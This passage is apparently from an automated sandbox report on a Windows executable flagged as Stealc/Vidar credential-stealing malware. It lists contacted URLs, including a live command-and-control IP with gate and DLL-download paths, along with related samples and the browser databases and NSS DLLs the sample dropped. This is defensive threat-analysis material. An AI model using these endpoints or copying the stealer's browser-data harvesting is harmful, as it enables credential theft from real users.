https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	JKKFIIEBKEGIEBFIJKFI.0.dr	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Visual	file.exe, 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://185.215.113.37e2b1563c6670f193.phption:	file.exe, 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	BKJEGDGI.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpy	file.exe, 00000000.00000002.1948849062.0000000029543000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dlla	file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpser	file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phption:	file.exe, 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dllm	file.exe, 00000000.00000002.1933207036.0000000001033000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpdll	file.exe, 00000000.00000002.1948849062.0000000029543000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpd	file.exe, 00000000.00000002.1933207036.0000000001004000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.1948849062.0000000029543000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp, JKKFIIEBKEGIEBFIJKFI.0.dr	false		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.1951535918.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1944357448.000000001D594000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37n	file.exe, 00000000.00000002.1933207036.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.1951905903.000000006F8ED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	file.exe, 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000002.1948849062.0000000029543000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp, JKKFIIEBKEGIEBFIJKFI.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	BKJEGDGI.0.dr	false		unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll7	file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	file.exe, 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BKJEGDGI.0.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.1948849062.0000000029543000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp, JKKFIIEBKEGIEBFIJKFI.0.dr	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, file.exe, 00000000.00000003.1777665817.000000001D49C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	file.exe, 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	BKJEGDGI.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	GCGCFCBAKKFBFIECAEBAEBGCGD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dllA	file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpH	file.exe, 00000000.00000002.1933207036.0000000001004000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpG	file.exe, 00000000.00000002.1948849062.0000000029543000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	BKJEGDGI.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dllw	file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.1948849062.0000000029543000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp, JKKFIIEBKEGIEBFIJKFI.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php7	file.exe, 00000000.00000002.1948849062.0000000029543000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpsimple-storage.jsonV	file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpFirefox	file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org	GCGCFCBAKKFBFIECAEBAEBGCGD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll7	file.exe, 00000000.00000002.1933207036.0000000001033000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	BKJEGDGI.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php(	file.exe, 00000000.00000002.1933207036.0000000001004000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1521414
Start date and time:	2024-09-28 10:18:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/22@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 85% Number of executed functions: 75 Number of non-executed functions: 42
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.103

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	bind.aspx.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	bind.aspx.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFBFHDBKJEGHJJJKFIIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BAAAAKJKJEBGHJKFHIDGCFCBAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BKJEGDGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCBAECGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCGCFCBAKKFBFIECAEBAEBGCGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCFIIIJJKJKFHIDGDBAKJEBKEG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJEHIJEBKEBFBFHIIDHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKKFIIEBKEGIEBFIJKFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: bind.aspx.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: bind.aspx.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
